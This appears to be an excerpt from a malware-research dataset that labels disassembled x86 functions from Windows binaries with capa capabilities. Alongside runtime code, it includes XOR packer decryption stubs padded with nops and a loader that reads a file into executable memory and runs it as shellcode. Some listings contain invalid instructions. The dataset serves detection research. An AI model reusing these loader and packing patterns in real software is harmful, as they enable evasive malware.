joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405f80
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60000
jae 0x405faa
mov eax, 2
pop ebp
ret
push esi
call fcn.00404330
mov esi, eax
mov eax, dword [ebp + 8]
mov edx, dword [esi + 0x70]
mov ecx, edx
and cl, 2
movzx ecx, cl
neg ecx
sbb ecx, ecx
inc eax
cmp eax, 3
ja case.default.0x405fca
jmp dword [eax*4 + 0x406000]
or edx, 2
lea eax, [ecx + 2]
mov dword [esi + 0x70], edx
pop esi
pop ebp
ret
and edx, 0xfffffffd
mov dword [esi + 0x70], edx
lea eax, [ecx + 2]
pop esi
pop ebp
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x16
call fcn.00406510
or eax, 0xffffffff
pop esi
pop ebp
ret

Function at 0x406580
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [0x40e0c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x4065a7
mov ecx, 5
int 0x29
push 2
call fcn.00403dff
push 0x50
lea eax, [ebp - 0x320]
push 0
push eax
call sub.msvcrt.dll_memset
push 0x2cc
lea eax, [ebp - 0x2d0]
push 0
push eax
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x320]
add esp, 0x1c
mov dword [ebp - 0x328], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x228], edx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x230], esi
mov dword [ebp - 0x234], edi
mov word [ebp - 0x208], ss
mov word [ebp - 0x214], cs
mov word [ebp - 0x238], ds
mov word [ebp - 0x23c], es
mov word [ebp - 0x240], fs
mov word [ebp - 0x244], gs
pushfd
pop dword [ebp - 0x210]
mov eax, dword [ebp + 4]
mov dword [ebp - 0x218], eax
lea eax, [ebp + 4]
mov dword [ebp - 0x20c], eax
mov dword [ebp - 0x2d0], 0x10001
mov eax, dword [eax - 4]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp + 4]
mov dword [ebp - 0x320], 0xc0000417
mov dword [ebp - 0x31c], 1
mov dword [ebp - 0x314], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x4066b2
test esi, esi
jne 0x4066b2
push 2
call fcn.00403dff
add esp, 4
push 0xc0000417
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004032de
mov esp, ebp
pop ebp
ret
Function at 0x1b9c8e4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1b9c8ee
pushal
call 0x1b9c8f4
pop ebp
sub ebp, 0x10
sub ebp, 0x179c8e4
jmp 0x1b9c90a
mov eax, 0x179c8e4
add eax, ebp
add eax, 0x4c
mov ecx, 0x5cf
mov edx, 0x70bffb2b
xor byte [eax], dl
inc eax
dec ecx
jne 0x1b9c921
jmp 0x1b9c934
mov al, byte [0x17a2a0e6]
sub ebp, dword [ebx]
sub ebp, dword [edx + 0x2b2bd3ea]
sub ebp, dword [eax]
out 0x93, al
and byte [ebx], ch
sub ebp, dword [ebx]
xchg ecx, eax
add ebp, dword [ebx]
sub ebp, dword [ebx]
fmul st(1), st(0)
sub bl, ah
mov al, byte [0x2b2b27aa]
sub ebp, dword [eax]
out dx, al
jnp 0x1b9c9d7
inc ebx
invalid
invalid

Function at 0x503b8c
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x503376
mov dword [0x50521c], 2
jmp 0x503bbc
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x50408c
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c8f
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503cbc
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c8f
mov eax, dword [0x505250]
jmp 0x503cc9
call 0x502c0d
ret
Function at 0x5de8c0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x14
mov ecx, dword [0x78bc30]
push ebx
push ebp
xor eax, eax
cmp ecx, eax
push esi
push edi
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
jne 0x5de9cf
mov edi, dword [esp + 0x30]
mov eax, dword [edi]
cmp eax, dword [0x78b35c]
jge 0x5de9c8
mov ecx, dword [0x78c2ac]
fld dword [ecx + 0xf8]
call dword [fcn.00401454]
mov edx, dword [0x78bbd4]
mov esi, dword [esp + 0x28]
mov ecx, dword [esi]
mov dword [esp + 0x38], edx
sar edx, 0x1f
mov ebx, edx
mov dword [esp + 0x28], edx
xor ebx, eax
xor edx, ecx
cmp edx, ebx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x30], ebx
jg 0x5dea2c
mov ebp, dword [esp + 0x34]
mov ebx, dword [esp + 0x2c]
mov edx, dword [ebp]
mov eax, dword [edi]
push 2
push edx
mov edx, dword [esi]
push ecx
mov ecx, dword [ebx]
push eax
push ecx
push edx
call fcn.006bf070
test eax, eax
lea eax, [esp + 0x10]
push eax
push edi
push ebx
push esi
call fcn.0067ba00
mov edx, dword [esp + 0x3c]
lea ecx, [esp + 0x14]
call dword [fcn.004010a0]
mov edx, dword [eax]
sub esp, 0x10
mov ecx, esp
mov dword [ecx], edx
mov edx, dword [eax + 4]
mov dword [ecx + 4], edx
mov edx, dword [eax + 8]
mov eax, dword [eax + 0xc]
mov dword [ecx + 8], edx
mov edx, dword [esp + 0x20]
push 2
mov dword [ecx + 0xc], eax
mov ecx, dword [ebp]
mov eax, dword [edi]
push ecx
mov ecx, dword [ebx]
push edx
mov edx, dword [esi]
push eax
push ecx
push edx
call fcn.006ba0d0
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x38]
mov edx, dword [esp + 0x30]
add ecx, eax
mov eax, dword [esp + 0x28]
xor eax, ecx
cmp eax, edx
mov dword [esp + 0x10], ecx
jle 0x5de938
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 0x18
mov esi, dword [esp + 0x38]
push esi
jmp 0x5de9d8
mov esi, dword [esp + 0x38]
mov edi, dword [esp + 0x30]
push esi
mov ebx, dword [esp + 0x30]
mov ebp, dword [esp + 0x2c]
push edi
push ebx
push ebp
call fcn.0067ba00
mov edx, dword [esp + 0x3c]
lea ecx, [esp + 0x14]
call dword [fcn.004010a0]
mov edx, dword [eax]
sub esp, 0x10
mov ecx, esp
mov dword [ecx], edx
mov edx, dword [eax + 4]
mov dword [ecx + 4], edx
mov edx, dword [eax + 8]
mov eax, dword [eax + 0xc]
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], eax
mov ecx, dword [esp + 0x44]
mov edx, dword [ecx]
mov eax, dword [esi]
mov ecx, dword [edi]
push 2
push edx
mov edx, dword [ebx]
push eax
mov eax, dword [ebp]
push ecx
push edx
push eax
call fcn.006ba0d0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 0x18
Function at 0x7d0e1d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, 1
test eax, eax
je 0x7d0e35
mov dword [ebp - 8], 0
jmp 0x7d0e42
push 1
call fcn.007dd0c0
add esp, 4
mov dword [ebp - 8], eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0
push 0x7d0e8a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x7d0e84
mov edx, dword [0x812a40]
push edx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x7d0e78
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x7d0e5d
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x7d0e86
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x7d3037
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
add ecx, 0xf8
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx + 0x78]
mov dword [ebp - 8], eax
mov ecx, 1
test ecx, ecx
je 0x7d307f
mov dword [ebp - 0x2c], 0
jmp 0x7d3097
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x1c]
push eax
push 0x80bccc
call fcn.007dd214
add esp, 0xc
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x1c]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx + 0x1c]
mov dword [ebp - 4], eax
mov ecx, 1
test ecx, ecx
je 0x7d30cd
mov dword [ebp - 0x30], 0
jmp 0x7d30ef
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x18]
push edx
mov eax, dword [ebp + 0xc]
push eax
push 0x80bc7c
call fcn.007dd214
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0xc], 0
jmp 0x7d3101
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
cmp eax, dword [edx + 0x18]
jae 0x7d319d
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x28], eax
mov ecx, 1
test ecx, ecx
je 0x7d3131
mov dword [ebp - 0x34], 0
jmp 0x7d3145
mov edx, dword [ebp - 0x28]
push edx
push 0x80bc5c
call fcn.007dd214
add esp, 8
mov dword [ebp - 0x34], eax
mov eax, 1
test eax, eax
je 0x7d3157
mov dword [ebp - 0x38], 0
jmp 0x7d316b
mov ecx, dword [ebp - 0x28]
push ecx
push 0x80bc50
call fcn.007dd214
add esp, 8
mov dword [ebp - 0x38], eax
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x28]
push eax
call fcn.007ed570
add esp, 8
test eax, eax
jne 0x7d3198
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x20]
xor eax, eax
mov ax, word [edx + ecx*2]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x1c]
add edx, dword [ecx + eax*4]
mov eax, edx
jmp 0x7d319f
jmp 0x7d30f8
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x7dcd5f
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.007d5de7
add esp, 4
and eax, 0xff
test eax, eax
je 0x7dcde8
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0x2cc
push 0
lea eax, [ebp - 0x2cc]
push eax
call fcn.007e7c90
add esp, 0xc
mov dword [ebp - 0x2cc], 0x10001
lea ecx, [ebp - 0x2cc]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x7dcde6
mov ecx, dword [ebp - 0x214]
cmp ecx, dword [ebp + 0xc]
jne 0x7dcde6
jmp 0x7dcde8
jmp 0x7dcd68
mov esp, ebp
pop ebp
ret

Function at 0x7dd263
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
movsx eax, byte [0x8135e8]
test eax, eax
jne 0x7dd277
call fcn.007dd194
xor ecx, ecx
mov cl, byte [0x8135e5]
test ecx, ecx
jne 0x7dd2fe
xor edx, edx
mov dl, byte [0x8135e4]
test edx, edx
jne 0x7dd2fe
cmp dword [0x8137f0], 0
je 0x7dd2d9
mov eax, dword [ebp + 0xc]
push eax
push 0
push 0x180
mov ecx, dword [0x8137f0]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 4], eax
push 0
mov edx, dword [ebp - 4]
push edx
push 0x186
mov eax, dword [0x8137f0]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [0x8137f0]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
jmp 0x7dd2fe
push 0x10001
push 0x8135e8
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 2
jne 0x7dd2fe
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x7e040a
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
jne 0x7e041a
xor eax, eax
jmp 0x7e05e3
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
mov dword [ebp + 8], eax
cmp dword [ebp + 0x10], 8
jb 0x7e059b
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x8110f4]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x8110f4]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x8110f4]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x8110f4]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x8110f4]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x8110f4]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x8110f4]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x8110f4]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0x10]
sub ecx, 8
mov dword [ebp + 0x10], ecx
jmp 0x7e0423
cmp dword [ebp + 0x10], 0
je 0x7e05dd
mov edx, dword [ebp + 0xc]
xor eax, eax
mov al, byte [edx]
mov ecx, dword [ebp + 8]
xor ecx, eax
and ecx, 0xff
mov edx, dword [ebp + 8]
shr edx, 8
mov eax, dword [ecx*4 + 0x8110f4]
xor eax, edx
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0x10]
sub edx, 1
mov dword [ebp + 0x10], edx
cmp dword [ebp + 0x10], 0
jne 0x7e05a1
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
pop ebp
ret
Function at 0x7e9e20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x80e748
cmp edx, dword [eax]
je 0x7e9e42
add eax, 8
inc ecx
cmp eax, 0x80e7d8
jl 0x7e9e33
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x80e748]
jne 0x7e9f70
mov eax, dword [0x813870]
cmp eax, 1
je 0x7e9f4a
test eax, eax
jne 0x7e9e73
cmp dword [0x80e484], 1
je 0x7e9f4a
cmp edx, 0xfc
je 0x7e9f70
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x7e9eaa
lea eax, [ebp - 0x1a4]
push 0x812510
push eax
call fcn.007e7df0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.007e7fa0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x7e9eed
lea eax, [ebp - 0x1a4]
push eax
call fcn.007e7fa0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x81250c
push edi
call fcn.007e8020
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x8124f0
push eax
call fcn.007e7df0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.007e7e00
lea eax, [ebp - 0xa0]
push 0x8124ec
push eax
call fcn.007e7e00
push dword [esi + 0x80e74c]
lea eax, [ebp - 0xa0]
push eax
call fcn.007e7e00
push 0x12010
lea eax, [ebp - 0xa0]
push 0x8124c4
push eax
call fcn.007ec3e8
add esp, 0x2c
pop edi
jmp 0x7e9f70
lea eax, [ebp + 8]
lea esi, [esi + 0x80e74c]
push 0
push eax
push dword [esi]
call fcn.007e7fa0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x432002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x2df20844
nop
nop
nop
nop
test eax, eax
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
nop
mov ecx, 0x6e30239c
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00431219

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x1cac0d88
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x43eb61a9
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x4209ab
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4209ea
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4209ea
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4209ea
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4209ea
cmp dword [ecx + 0x74], 0xe
jbe 0x4209ea
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433160
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43318d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43318d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4022fa
Capabilities:
Parse pe header

Disassembly:
jl 0x402320
xor byte [ecx + 0x53e8243c], cl
add al, 0
add byte [ebx + 0x687708f8], al
cmp word [0x400000], 0x5a4d
jne 0x402372
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
add byte [eax + 0x45], dl
add byte [eax], al
lea eax, [edx + 0x400000]
jne 0x402372
cmp word [edx + 0x400018], 0x10b
jne 0x402372
add al, ah
dec esi
mov bh, 0xb7
xchg edx, eax
adc al, 0
inc eax
add byte [edi], cl
mov bh, 0x68
push es
lea ebx, [eax + edx + 0x18]
test bp, bp
je 0x402383
xor esi, esi
jmp 0x40235d
add esi, 1
add ebx, 0x28
cmp ebp, esi
je 0x402383
mov dword [esp + 8], 8
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.00402763
test eax, eax
jne 0x402353
sal byte [ebp - 0x22], 0x83
les ebx, [ecx + ecx*4]
fcomp dword [ebx + 0x5e]
add esp, 0x1c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
add esp, 0x1c
xor ebx, ebx
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40238f
Capabilities:
Parse pe header

Disassembly:
lea esi, [esi]
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4023b8
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4023c3
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4023b8
push esi
movzx eax, word [ecx + 0x400014]
push ebx
add al, ah
dec esi
mov bh, 0xb7
mov cl, 6
add byte [eax], al
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x40240e
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x402404
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x402410
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4023f6
xor eax, eax
pop ebx
pop esi
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push str.Printers
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000118a
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011b5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x10001208
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x432001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x432072
mov ebx, 0x40c7d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x2e75fb5
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
mov ebx, 0x42f314
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x9621b64
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4320c0
nop
nop
popal
nop
nop
nop
nop
